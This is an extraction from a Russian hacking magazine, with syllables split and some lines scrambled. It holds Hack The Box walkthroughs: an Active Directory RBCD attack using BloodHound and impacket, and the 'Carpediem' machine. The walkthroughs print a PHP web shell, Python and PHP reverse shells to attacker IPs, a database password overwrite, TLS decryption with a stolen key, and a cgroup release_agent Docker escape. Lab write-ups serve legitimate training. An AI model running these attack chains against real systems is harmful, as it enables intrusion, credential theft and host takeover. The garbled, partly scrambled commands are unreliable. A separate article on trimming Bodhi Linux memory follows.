ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нуж но разоб рать ся, куда дви гать ся даль ше. Инс тру мен ты 

и  ничего не дали, зна чит, нуж на более прод винутая раз ведка,

в которой мы задей ству ем .

WinPEAS

PowerUp

BloodHound

Справка: BloodHound
Ути лита  исполь зует теорию гра фов для выяв ления скры тых

и зачас тую неп редна мерен ных вза имос вязей в сре де Active Directory. Ее мож но
исполь зовать, что бы лег ко иден тифици ровать очень слож ные пути ата ки.
Помимо самой ути литы, которая поз воля ет прос матри вать граф, сущес тву ет
часть, заг ружа емая на уда лен ный хост для сбо ра информа ции. Она быва ет
в вер сиях для Windows — на PowerShell или C# — и для Linux — на Python.

BloodHound

BloodHound

Пер вым делом кача ем с GitHub вер сию наг рузки BloodHound на Python:

git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py
python3 setup.py install

А теперь соберем информа цию с целево го хос та, бла го это не зай мет мно го
вре мени. В парамет рах ука зыва ем учет ные дан ные для под клю чения, адрес
хос та и тип собира емой информа ции — всю (параметр , зна чение ).-c all

  

  all

bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d 
support.htb -dc dc.support.htb -gc dc.support.htb -ns 10.10.11.
174 --dns-tcp -c

Ло ги BloodHound

В логах видим, сколь ко доменов, лесов и компь юте ров было най дено, сколь ко
поль зовате лей и групп получе но. BloodHound соз даст в текущей дирек тории
нес коль ко фай лов. Для работы с ними нам нуж но уста новить СУБД Neo4j
и гра фичес кую оснас тку BloodHound для пос тро ения гра фа свя зей.

apt sudo install neo4j bloodhound

За пус тим уста нов ленную СУБД коман дой . Пос ле сооб -

щения об успешном стар те зай дем на  через бра -
узер. Нам сра зу пред ложат уста новить пароль. Пос ле уста нов ки пароля запус -
каем BloodHound (коман да  в коман дной стро ке) и авто ризу емся

с толь ко что уста нов ленным паролем. Откро ется пус тое окош ко. Закиды ваем
в него получен ные в резуль тате работы bloodhound-python фай лы.

sudo neo4j console
http://localhost:7474/

bloodhound

В поле поис ка ука зыва ем груп пу поль зовате лей. На экра не будут отоб -
ражены все поль зовате ли из этой груп пы, сре ди которых най дем всех под кон -
троль ных нам и пометим как Mark User as Owned. На икон ке поль зовате ля дол -
жен появить ся череп.

По мечен ный поль зователь

За тем перей дем в гра фу ана лити ки и поп росим BloodHound най ти путь прод -
вижения к дру гим поль зовате лям от уже взло ман ных (которых мы толь ко
помети ли) — опция Shortest Path from Owned Principals. Так мы получим мар -
шрут от поль зовате ля Support.

Граф пути повыше ния при виле гий

Ес ли сле довать гра фу, то целевой поль зователь Support — член груп пы Shared
Support Accounts, которая, в свою оче редь, име ет пра ва  (пол ные
пра ва) на объ ект кон трол лера домена.

GenericAll

RBCD

В дан ном слу чае мы можем про вес ти ата ку RBCD. Обыч ный спо соб про веде -
ния этой ата ки — соз дать учет ную запись компь юте ра, что может сде лать каж -
дый поль зователь домена (по умол чанию до десяти таких акка унтов). Сде лаем
это с помощью скрип та  из набора скрип тов .addcomputer impacket

   
 / :

impacket-addcomputer -computer-name 'ralf_pc$' -computer-pass
'RRrr!!11' -dc-ip 10.10.11.174 'support.htb' 'support'
'Ironside47pleasure40Watchful'

Соз дание учет ной записи компь юте ра

Но вый SPN необ ходимо ука зать вот в этом атри буте целево го объ екта (в
нашем слу чае кон трол лера домена):

msDS-AllowedToActOnBehalfOfOtherIdentity

Для это го мож но исполь зовать .го товый скрипт

 DC python3 rbcd.py -f RALF_PC -t -dc-ip 10.10.11.174 'support.htb'
\'support':'Ironside47pleasure40Watchful'

За пол нение целево го атри бута

За тем, исполь зуя дан ные этой учет ной записи, зло умыш ленник может
получить тикет через зап росы  и . В этом тоже поможет

пакет скрип тов impacket.

S4U2Self S4U2Proxy

/ :
impacket-getST -spn host/dc.support.htb -impersonate 
Administrator -dc-ip 10.10.11.174 'support.htb' 'ralf_pc$'
'RRrr!!11'

Зап рос тикета

Пос ле получе ния тикета мож но исполь зовать Pass-the-Ticket для дос тупа
к целево му хос ту. Экспор тиру ем билет и под клю чаем ся к сер веру по WMI.

export KRB5CCNAME=Administrator.ccache
 impacket-wmiexec -k -no-pass support.htb/Administrator@dc.support.

htb

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/Porchetta-Industries/CrackMapExec
https://github.com/dnSpy/dnSpy
http://www.jxplorer.org/
https://github.com/Porchetta-Industries/CrackMapExec
https://github.com/Hackplayers/evil-winrm
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
https://github.com/BloodHoundAD/BloodHound
https://github.com/BloodHoundAD/BloodHound
https://github.com/SecureAuthCorp/impacket
https://raw.githubusercontent.com/tothi/rbcd-attack/master/rbcd.py


HTB

CARPEDIEM

СБЕГАЕМ
ИЗ DOCKER-КОНТЕЙНЕРОВ

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этой статье мы с тобой обой дем авто -
риза цию на сай те и получим прос тень кий
RCE для про ник новения в кон тей нер
Docker. Затем про ведем раз ведку в сети,
порабо таем с MySQL и MongoDB, что бы
похитить информа цию из Trudesk, перех -
ватим тра фик HTTPS и рас шифру ем дан -
ные. Сно ва попав в кон тей нер Docker,
успешно сбе жим из него с мак сималь ными
при виле гиями на хос те.

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.167    carpediem.htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное, с исполь зовани ем име ющих ся скрип -
тов (опция ).-A

Ре зуль тат работы скрип та

Мы обна ружи ли два откры тых пор та: 22 — служ ба OpenSSH 8.2p1 и 80 —
веб-сер вер Nginx 1.18.0. Нач нем с веб-сер вера.

Глав ная стра ница сай та

На сай те ничего инте рес ного най ти не уда лось, поэто му поп робу ем поис кать
скры тый кон тент.

Ñêàíèðîâàíèå âåá-êîíòåíòà

Ис кать потай ные стра ницы мы будем при помощи ска нера .ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе ния —
это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле -
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL.• -u

ffuf   
 256

-u 'http://carpediem.htb/FUZZ' -w directory_2.3_medium_
lowercase.txt -t

Ре зуль тат ска ниро вания катало гов с помощью ffuf

Ни чего инте рес ного и тут. Идем даль ше и ска ниру ем под домены, для чего нам
нуж но переби рать запись в HTTP-заголов ке . При этом исполь зуем филь -

тр , который поможет отсе ять лож ные стра ницы по их раз меру.

HOST
--fs

ffuf   
   256 

-u 'http://carpediem.htb/FUZZ' -w subdomains-top1million-
110000.txt -H 'Host: FUZZ.carpediem.htb' -t --fs 2875

Ре зуль тат ска ниро вания под доменов с помощью ffuf

На ходим новый под домен, поэто му допол няем запись в фай ле 

и идем смот реть новый сайт.

/etc/hosts

10.10.11.167 carpediem.htb portal.carpediem.htb

Глав ная стра ница сай та portal.carpediem.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

Пер вым делом обра тим вни мание на то, как под клю чает ся стра ница. Это про -
исхо дит через параметр .p

Спо соб обра щение к стра нице

Так же на сай те мож но зарегис три ровать ся и авто ризо вать ся. Сде лаем это!

Ре гис тра ция нового поль зовате ля

Ес ли всю работу вес ти в , то в исто рии зап росов мож но заметить

обра щение к какому-то фай лу , которо му в парамет ре 

переда ется коман да .

Burp Proxy

/classes/Master.php f
register

Ис тория зап росов на сер вер при регис тра ции

Но вер немся к заг ружа емой через параметр стра нице и про верим, нет ли
здесь уяз вимос ти LFI. Для это го перебе рем раз ные наг рузки через 

.
Burp

Intruder

Burp Intruder — вклад ка Positions

Burp Intruder — резуль тат ска ниро вания

В ито ге есть вари анты, которые воз вра щают ошиб ку, но рас кру тить это до уяз -
вимос ти не получи лось. Тог да прос каниру ем катало ги на новом домене.

ffuf   
 256

-u 'http://portal.carpediem.htb/FUZZ' -w directory_2.3_
medium_lowercase.txt -t

Ре зуль тат ска ниро вания катало гов

Это ска ниро вание сно ва рас ширя ет область тес тирова ния: мы наш ли админку
сай та — . Но при обра щении к ней сер вер вер нет ошиб ку 403./admin

Ис тория зап росов на сер вер

Что ж, пока ничего про бить не выходит. Перехо дим к сле дующей фун кции —
изме нению про филя. И сно ва видим зап рос к уже зна комой стра нице 

, но с дру гой коман дой.

/
classes/Master.php

Зап рос на изме нение парамет ров про филя

Тут я заметил POST-параметр  со зна чени ем . Отпра вим этот зап -

рос в  и изме ним зна чение инте рес ного парамет ра на .

login_type 2
Burp Repeater 1

Зап рос на изме нение парамет ров про филя

И теперь нам дос тупна стра ница !/admin

Па нель адми нис тра тора

Гу ляя по новой панели, сно ва перехо дим к фун кции изме нения про филя
и находим заг рузку ава тара, а это новая фун кция для тес тирова ния.

Фор ма заг рузки ава тара

ÒÎ×ÊÀ ÎÏÎÐÛ

Пер вым делом я решил залить прос той PHP-шелл для получе ния RCE.

   <?php echo system($_GET['cmd']); ?>

Со обще ние о заг ружен ном фай ле

Файл заг ружен, но ошиб ка свя зана с изоб ражени ем. То есть с фор матом фай -
ла PHP никаких проб лем нет. Тог да возь мем любую кар тину, изме ним рас -
ширение на .php и запишем в слу жеб ное поле ком мента рия PHP-шелл.
Это мож но сде лать с помощью ути литы .exiftool

cmdexiftool -Comment='<?php echo system($_GET[' ']); ?>' rs.php

Пос ле заг рузки стра ница обно вит ся, и мы уви дим битую ава тар ку. Най ти путь
к фай лу не сос тавит тру да, он ука зан в исходном коде стра ницы.

Ис ходный код стра ницы

Поп робу ем выпол нить коман ду .id

Про вер ка RCE

Мы получи ли уда лен ное выпол нение кода. Теперь давай сде лаем себе удоб -
ную обо лоч ку, про кинув реверс-шелл. В качес тве лис тенера я буду исполь -
зовать , уста новить который мож но коман дой 

. Отправ ляем в парамет ре  сле дующую коман ду и получа ем

сооб щение о соз данной сес сии.

pwncat-sc sudo pip3 install
pwncat-cs cmd

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(()"10.10.14.30",4321));os.
dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
import pty; pty.spawn("sh")'

Ло ги pwncat

Для перехо да в режим коман дной обо лоч ки из обо лоч ки pwncat-cs исполь зуем
коман ду , для обратно го перехо да в режим pwncat-cs — ком бинацию кла -

виш Ctrl-D.

back

По луче ние коман дной обо лоч ки

Продолжение статьи →
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По име ни хос та понима ем, что находим ся в кон тей нере Docker. Сле дующим
шагом будет поиск учет ных дан ных. И самое пер вое мес то для про вер ки
в таких слу чаях — это фай лы сай та. Так, в фай ле  будут учет -
ные дан ные для под клю чения к базе дан ных.

DBConnection.php

Со дер жимое фай ла DBConnection.php

Этот пароль никуда не под ходит, так что про дол жим раз ведку. Источни ков
информа ции очень мно го, поэто му вос поль зуем ся скрип тами PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль зовате -
ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий может быть
очень мно го, как в Linux, так и в Windows. Что бы соб рать информа цию
и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему на авто мате.
Privilege Escalation Awesome Scripts

SUITE

<Ctrl> + D
upload linpeas_linux_amd64 /tmp/linpeas_linux_amd64
back
chmod +x /tmp/linpeas_linux_amd64
/tmp/linpeas_linux_amd64

От меча ем еще один пароль в перемен ных окру жения, а так же нес коль ко новых
адре сов в фай ле ./etc/hosts

Пе ремен ные окру жения

Со дер жимое фай ла /etc/hosts

В сети есть еще хос ты, на одном из них, судя по наз ванию, работа ет MySQL.
Заг рузим в кон тей нер  и прос каниру ем нес коль ко началь ных
адре сов на наличие откры тых пор тов.

ста тичес кий Nmap

<Ctrl> + D
upload nmap /tmp/nmap
back
chmod +x /tmp/nmap
/tmp/nmap -p- 172.17.0.1-6

Ре зуль тат ска ниро вания пор тов

Нам дос тупно мно го служб для про вер ки, нач нем с баз дан ных.

MySQL & MongoDB

На хос те 172.17.0.4 открыт типич ный для MySQL порт 3306. А на хос -
те 172.17.0.2 открыт порт 27017, что свой ствен но MongoDB. Что бы получить
дос туп к этим хос там, нуж но пос тро ить тун нель. Для это го будем исполь зовать

. На локаль ном хос те запус тим сер вер, ожи дающий под клю чения

(параметр ) на порт 5432 (параметр ).

chisel

--reverse -p

 ./chisel.bin server --reverse -p 5432

Ло ги chisel server

Те перь на уда лен ном хос те запус тим кли ент скую часть. Ука зыва ем адрес сер -
вера и порт для под клю чения, а так же тип тун неля — socks.

/tmp/chisel.bin client 10.10.14.30:5432 R:socks

Ло ги chisel client

В логах сер вера дол жны уви деть сооб щение о соз дании сес сии.

Ло ги chisel server

Те перь, что бы перенап равлять тра фик в соз данный тун нель, будем исполь -
зовать . В фай ле кон фига  добавим мар -

шрут:

proxychains /etc/proxychains.conf

socks5 127.0.0.1 1080

Под клю чим ся к MySQL, а затем пос мотрим, какие есть базы дан ных.

proxychains4 -q mysql -h 172.17.0.4 -u portaldb -p
show databases;

Ба зы дан ных

Те перь най дем инте рес ные таб лицы в базе .portal

 use portal;
 show tables;

Таб лице в базе portal

На ибо лее инте рес на таб лица .users

   select * from users;

Со дер жимое таб лицы users

Там находим учет ные дан ные, но проб рутить хеш не выш ло. Тог да перей дем
к MongoDB.

proxychains4 -q mongo 172.17.0.2
show dbs;

Ба зы в MongoDB

Так находим базу для Trudesk.

Trudesk

Trudesk — это опен сор сный софт, пред назна чен ный для служ бы под дер жки.
Тут мож но будет получить какую-то новую информа цию. Допол нитель но
из сер тифика та SSL на пор те 443 хос та 172.17.0.3 получа ем домен ное имя

, но пока про дол жим с Trudesk.backdrop.carpedium.htb

Ин форма ция о сер тифика те сай та

Сам Trudesk обна ружим на пор те 8118 хос та 172.17.0.5.

По ле авто риза ции Trudesk

Учет ных дан ных мы не зна ем, но есть дос туп к базе дан ных сер виса. Выбира -
ем эту базу и получа ем записи обо всех акка унтах.

use trudesk
db.accounts.find()

За писи об акка унтах trudesk

На ходим запись адми нис тра тора. Давай изме ним ему пароль пря мо в базе.
Для это го сна чала его хеширу ем.

 import bcrypt
  p = 'ralf'

  salt = bcrypt.gensalt(rounds=10)
bcrypt.hashpw(p.encode(),salt)

Те перь меня ем его в базе и авто ризу емся как  : .admin ralf

   
  

db.accounts.update( {"_id": ObjectId("623c8b20855cc5001a8ba13c")},
{$set: {"password": "$2b$10$NdqhhsBaSEnoMn9sM/vckeUN.
Sw8c3qDqosPtYf5rVOpMmWh2XUye"}});

Из менение пароля в базе

Па нель поль зовате ля

Те перь нуж но прос мотреть перепис ку с под дер жкой. Так мы находим очень
инте рес ную информа цию. Пароль для поль зовате ля с ID 9650 и паролем 
к VOIP сооб щает ся, если поз вонить по номеру . А в качес тве VOIP-кли ента

совету ют исполь зовать Zoiper.

2022
*62

Пе репис ка с под дер жкой

VOIP

Ска чаем и уста новим кли ент . Пос ле запус ка нам пред лага ют авто ризо -
вать ся. Сде лаем это, так как у нас есть все необ ходимые дан ные.

Zoiper

Ав ториза ция в Zoiper

Те перь откры ваем кла виату ру для набора номера и вызыва ем або нен та
по номеру .*62

Вы зов або нен та

Прос лушать аудио зай мет око ло минуты, но зато мы получа ем из него пароль
поль зовате ля. Дол го переби рать не приш лось, сра зу авто ризу емся по SSH
и забира ем пер вый флаг.

Флаг поль зовате ля

Продолжение статьи →

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
https://github.com/jpillora/chisel
https://github.com/haad/proxychains
https://www.zoiper.com/


HTB CARPEDIEM
СБЕГАЕМ

ИЗ DOCKER-КОНТЕЙНЕРОВ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÝÊÑÏËÓÀÒÀÖÈß

Те перь, ког да мы получи ли дос туп к хос ту, нам нуж но соб рать информа цию.
Сно ва исполь зуем для это го скрип ты PEASS.

Уз наем сле дующее.
Су дя по информа ции из , на хос те работа ет сайт 

. При этом хост прос лушива ет мно го веб-пор тов.
• /etc/hosts backdrop.

carpediem.htb

Мо жем получить ключ RSA, исполь зуемый для SSL-шиф рования на сай те
.

•
backdrop.carpediem.htb

Сре ди активных Linux Capabilities для прог раммы  находим
.

• tcpdump

cap_net_admin

Со дер жимое фай ла /etc/hosts

Прос лушива емые пор ты

Дос тупный ключ RSA

Ак тивные Linux Capabilities

Объ еди няя все получен ные дан ные, можем прос лушивать тра фик на хос те,
на котором работа ет сайт backdrop, пос ле чего рас шифро вать соб ранный тра -
фик най ден ным при ват ным клю чом и прос мотреть кри тичес ки важ ные дан ные.

Ïåðåõâàò òðàôèêà

Ос тавим минуты две на работу , пос ле чего забира ем файл .pcap
на локаль ный хост и откры ваем в Wireshark.

tcpdump

tcpdump -i docker0 -w t.pcap

Пе рехо дим в нас трой ки «Редак тирова ние → Парамет ры → Про токол → TLS →
RSA key list» и добав ляем ска чан ный ключ RSA. Затем в филь тре Wireshark ука -
зыва ем про токол HTTP.

Зап росы на веб-сер вер

Ви дим зап рос на авто риза цию, откры ваем его, что бы пос мотреть дан ные,
и забира ем учет ные дан ные поль зовате ля.

Зап рос на авто риза цию

С получен ными учет ными дан ными нуж но авто ризо вать ся в backdrop
на локаль ном пор те 8002, для чего про кинем этот порт на свой хост.

ssh -L 8002:127.0.0.1:8002 hflaccus@carpediem.htb

Те перь весь тра фик, который мы пош лем на локаль ный порт 8002, будет тун -
нелиро ван на порт 8002 ука зан ного хос та (в дан ном слу чае 127.0.0.1) через
SSH-хост.

Да вай обра тим ся к сай ту по адре су .http://127.0.0.1:8002/

Глав ная стра ница CMS Backdrop

CMS Backdrop — RCE

Нам дос тупна целая CMS, поэто му про верим, нет ли для нее экс пло итов в пуб -
личном дос тупе. Дол го искать не приш лось, пер вая же ссыл ка в Google дает
нам под ходящий . С помощью это го экс пло ита мы
можем получить уда лен ное выпол нение кода, добавив свой пла гин (или
исполь зовать ). Пер вым делом перей дем к стра нице заг рузки
модулей: Functionality → Install new modules.

ре пози торий на GitHub

уже готовый

Ме ню сай та

Стра ница заг рузки модулей

Те перь выбира ем пункт Manual installation и заг ружа ем упо мяну тый выше архив
(готовый пла гин).

Заг рузка архи ва

Со обще ние об успешной уста нов ке пла гина

Те перь мы можем выпол нять коман ды через стра ницу 

.

modules/reference/
shell.php

Вы пол нение коман ды id

Для получе ния коман дной обо лоч ки откры ваем лис тенер и отправ ляем сле -
дующую коман ду:

php  -r '$sock=fsockopen("10.10.14.48",4321);exec("sh <&3 >&3 2>&
3");'

Мы дол жны получить новую сес сию.

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

LPE Docker inside

Раз ведка с помощью LinPEAS ничего нам не дает. Зато если мы отсле дим
запус каемые про цес сы с помощью , то най дем кое-что инте рес ное.pspy64

Ло ги pspy64

От име ни рута запус кает ся скрипт . Прос мотрим его содер -

жимое.

/opt/hearbeat.sh

Со дер жимое скрип та /opt/hearbeat.sh

Сна чала скрипт све ряет хеш фай ла , что бы убе дить ся, что он

не был изме нен. Затем выпол няет его с помощью PHP.

backdrop.sh

Со дер жимое фай ла backdrop.sh

Так как вклю чают ся фай лы из катало га , мож но соз -
дать в этом катало ге файл  и он будет выпол нен. В сам файл

запишем уже исполь зован ный ранее PHP-шелл. Спус тя некото рое вре мя уви -
дим новую сес сию в .

/var/www/html/backdrop
index.php

pwncat-cs

Сес сия поль зовате ля root

Docker escape

Кон тей нер работа ет в при виле гиро ван ном режиме, и у нас есть пра ва рута, что
поз воля ет нам вый ти из кон тей нера на основной хост так же в при виле гиро ван -
ном режиме. В этом нам помогут кон троль ные груп пы Linux.

Cgroup, или «кон троль ная груп па», в Linux — это груп па про цес сов,
для которой механиз мами ядра наложе на изо ляция и уста нов лены огра ниче ния
на некото рые вычис литель ные ресур сы (про цес сорные, сетевые, память,
ввод-вывод). Это как раз один из механиз мов, с помощью которых Docker изо -
лиру ет кон тей неры.

Этот метод исполь зует фун кцию  в , что бы

запус тить опре делен ный код от име ни поль зовате ля root. Дело в том, что, ког -
да пос ледняя задача в кон троль ной груп пе покида ет ее, на хос те выпол няет ся
коман да, ука зан ная в фай ле . Таким обра зом пред полага ется

сок ратить чис ло заб рошен ных кон троль ных групп. Эта коман да при вызове
запус кает ся на хос те как поль зователь с пол ными при виле гиями.

notify_on_release cgroups v1

release_agent

Пер вым делом нам нуж но запус тить новую коман дную обо лоч ку.

unshare -UrmC bash

Те перь, что бы выпол нить код на основном хос те, нам нуж на кон троль ная груп -
па, в которой мы можем соз дать файл  и ини цииро вать его
вызов, унич тожив все про цес сы в кон троль ной груп пе. Самый прос той спо соб
добить ся это го — смон тировать кон трол лер cgroup и соз дать дочер нюю
cgroup. Для это го мы соз даем каталог , мон тиру ем кон трол лер
cgroup RDMA и соз даем дочер нюю cgroup .

release_agent

/tmp/ralf
x

umount /tmp/ralf
 rm -R /tmp/ralf

mkdir /tmp/ralf
mount -t cgroup -o rdma cgroup /tmp/ralf
mkdir /tmp/ralf/x

За тем акти виру ем уве дом ления кон троль ной груп пы, записы вая еди ницу в ее
файл . Так же нас тра иваем cgroup RDMA для выпол нения
сце нария . Путь к самому кон тей неру на основном хос те берем из фай ла 

.

notify_on_release
/cmd /

etc/mtab

1 echo > /tmp/ralf/x/notify_on_release
  host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

  echo "$host_path/cmd" > /tmp/ralf/release_agent

Ко ман ды из фай ла  будут выпол нены в при виле гиро ван ном режиме
на основном хос те, поэто му нуж но выб рать один из методов пер систен тнос ти.
К при меру, уста нов ка бита SUID для фай ла коман дной обо лоч ки .

/cmd

/bin/bash

  echo '#!/bin/bash' > /cmd
  echo "chmod u+s /bin/bash" >> /cmd

chmod a+x /cmd

Пос леднее дей ствие — вызов триг гера RDMA. Соз дадим про цесс, который
немед ленно завер шится внут ри дочер ней кон троль ной груп пы . Для это го
запус каем про цесс  и записы ваем его PID в файл .

x
bash cgroup.procs

bash  -c "echo \$\$ > /tmp/ralf/x/cgroup.procs"

Те перь мы можем вер нуть ся на основной хост и про верить пра ва на файл 

.

/
bin/bash

Пра ва на файл bash

S-бит уста нов лен, поэто му запус каем его и лег ко получа ем обо лоч ку в при -
виле гиро ван ном режиме.

Флаг рута

За бира ем флаг рута, и машина зах вачена!

https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS
https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/download/backdrop/reference.tar
https://github.com/DominicBreuker/pspy
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ТРЮКИ

Есть мно го задач, которые про ще решить
в GNU/Linux, чем где-то еще, поэто му вир -
туал ки с Linux в наше вре мя — это обыч ное
дело. И чем мень ше будет занимать
на дис ке и в памяти такая вир туал ка, тем
луч ше. В этой статье я возь му за осно ву
дис три бутив Bodhi Linux и покажу,
как умень шить его тре бова ния к опе ратив -
ной памяти, что бы он зарабо тал
на машинах с 512 Мбайт вмес то офи -
циаль но необ ходимых 768 Мбайт. Опи сан -
ные рекомен дации акту аль ны для всех
сов ремен ных вер сий Ubuntu.

 — это нес коль ко сво еоб разный дис три бутив, но имен но на нем
я оста новил свой выбор. Почему? Во-пер вых, он осно ван на Ubuntu 20.04 LTS,
что дает дос туп к огромно му чис лу прог рамм в офи циаль ных репози тори ях
Ubuntu. Во-вто рых, у Ubuntu огромное сооб щес тво, опы том которо го мож но
поль зовать ся. В-треть их, мне приг лянулась лег ковес ная гра фичес кая сре да

. Да, у нее есть нюан сы в нас трой ке, но разоб рать ся с ними
нуж но все го один раз. Ну и в-чет вертых, этот дис три бутив минима лис тичен,
но содер жит инс тру мен ты Build Essential, которые поз воля ют быс тро
что-нибудь ском пилиро вать.

Bodhi Linux 6.0

Moksha Desktop

Итак, для уста нов ки Bodhi Linux тре бует ся 768 Мбайт опе ратив ной памяти,
объ ем которой мож но умень шить до 384 Мбайт на работа ющей сис теме,
и при этом ей все еще мож но будет поль зовать ся. Такая эко номич ность поз -
воля ет соз дать при лич ный пул вир туаль ных машин, нап ример для модели рова -
ния сетевых кон фигура ций.

Ес ли на вир туаль ной машине под коррек тировать объ ем памяти мож но
за нес коль ко секунд, то для уста нов ки Bodhi Linux на уста рев ший компь ютер
с 512 Мбайт ОЗУ при дет ся вмес то это го где-то искать и уста нав ливать допол -
нитель ную план ку памяти. Да и в кон це кон цов, почему Bodhi Linux (и мно гие
дру гие сов ремен ные дис три бути вы) так про жор ливы на эта пе уста нов ки, хотя
могут потом работать в гораз до более скром ном окру жении?!

Для отве та на этот воп рос надо пос мотреть, как про исхо дит заг рузка Bodhi
Linux с дис три бутив ного носите ля (на схе ме ниже). Пер вым делом заг рузчик
опе раци онной сис темы помеща ет с носите ля в опе ратив ную память ядро Linux

 с упа кован ным содер жимым минималь ной фай ловой сис -

темы (МФС) , фор миру ет окру жение ядра с парамет рами

коман дной стро ки и переда ет ядру управле ние. Ядро получа ет парамет ры
из окру жения и при нима ет их к све дению, опре деля ет и ини циали зиру ет
основное обо рудо вание компь юте ра, пос ле чего рас паковы вает МФС и запус -
кает про цесс init, текст сце нария которо го содер жится в фай ле  рас -
пакован ной фай ловой сис темы.

/casper/vmlinuz
/casper/initrd.gz

/init

Ис поль зование ОЗУ при заг рузке Bodhi Linux

Ос новная задача про цес са init на дан ном эта пе — отыс кать на носите ле образ
основной фай ловой сис темы , перек лючить ся

на него с МФС и запус тить свое про дол жение. Для это го могут пот ребовать ся
модули ядра с драй верами устрой ства, которые обслу жива ют носитель с дис -
три бути вом и обес печива ют понима ние его фай ловой сис темы. Эти драй веры,
если они не встро ены в ядро, дол жны быть дос тупны из МФС.

/casper/filesystem.squashfs

WWW

•Using the initial RAM disk (initrd)
•Ramfs, rootfs and initramfs

Пос ле перек лючения на основную фай ловую сис тему МФС боль ше не тре бует -
ся, и занима емая ей опе ратив ная память осво бож дает ся. Фай ловая сис тема
squashfs поз воля ет работать с ней в режиме «толь ко чте ние» непос редс твен но
из фай ла с обра зом. С это го момен та опе ратив ная память исполь зует ся
в основном для сле дующих целей:

хра нения кода выпол няющих ся про цес сов и обра баты ваемых ими дан ных;•
хра нения изме нений, которые про исхо дят в основной фай ловой сис теме
(это реали зует ся с помощью механиз ма overlayfs: дерево катало гов вир -
туаль ной фай ловой сис темы tmpfs, соз данной в опе ратив ной памяти, нак -
ладыва ется на дерево катало гов основной фай ловой сис темы squashfs);

•

про чих сис темных кешей и буферов.•

WWW

•Overlay Filesystem
•Tmpfs

На каком же эта пе воз ника ет проб лема в пос ледова тель нос ти этих шагов?
Что бы узнать это, заг рузим Bodhi Linux в вир туаль ной машине с 512 Мбайт
ОЗУ. И поч ти сра зу пос ле того, как мы в меню заг рузки выберем Try Bodhi
или Install Now, получим чер ный экран смер ти со мно жес твом диаг ности чес ких
сооб щений. Нес мотря на то что зак лючитель ный вер дикт зву чит как «Kernel
panic - not syncing: No working init found» («Ядро оста нов лено — не син хро низи -
рова но: не най ден рабочий init»), суть проб лемы отра жает самая пер вая стро -
ка: «Initramfs unpacking failed: write error» («Сбой при рас паков ке initramfs:
ошиб ка записи»). Это зна чит, что ядро не смог ло рас паковать МФС из 

 из-за нех ватки опе ратив ной памяти.

initrd.
gz

ÏÐÈ×ÈÍÀ ÏÐÎÁËÅÌÛ

По чему же памяти не хва тило? По боль шому сче ту на этом эта пе в ОЗУ
находят ся ядро и заар хивиро ван ная МФС. Во вре мя заг рузки ядро Linux
активно выделя ет, переме щает и осво бож дает области памяти. Если ты
не раз работ чик ядра, усле дить за все ми выпол няемы ми дей стви ями доволь но
слож но. К счастью, ког да ситу ация ста били зиру ется, ядро фор миру ет
информа цион ное сооб щение и узнать «окон чатель ный счет» мож но с помощью
коман ды

 $ dmesg | grep ']\sMemory'

Ни же при веде ны резуль таты ее выпол нения для диапа зона опе ратив ной
памяти от 384 до 1024 Мбайт с шагом 128 Мбайт:

384 Мб: [ ] Memory: 263248K/392760K available (14339K kernel 
code, 2400K rwdata, 5008K rodata, 2732K init, 4972K bss, 129512K 
reserved, 0K cma-reserved)
512 Мб: [ ] Memory: 392272K/523832K available (14339K kernel 

code, 2400K rwdata, 5008K rodata, 2732K init, 4972K bss, 131560K 
reserved, 0K cma-reserved)
640 Мб: [ ] Memory: 520528K/654904K available (14339K kernel 

code, 2400K rwdata, 5008K rodata, 2732K init, 4972K bss, 134376K 
reserved, 0K cma-reserved)
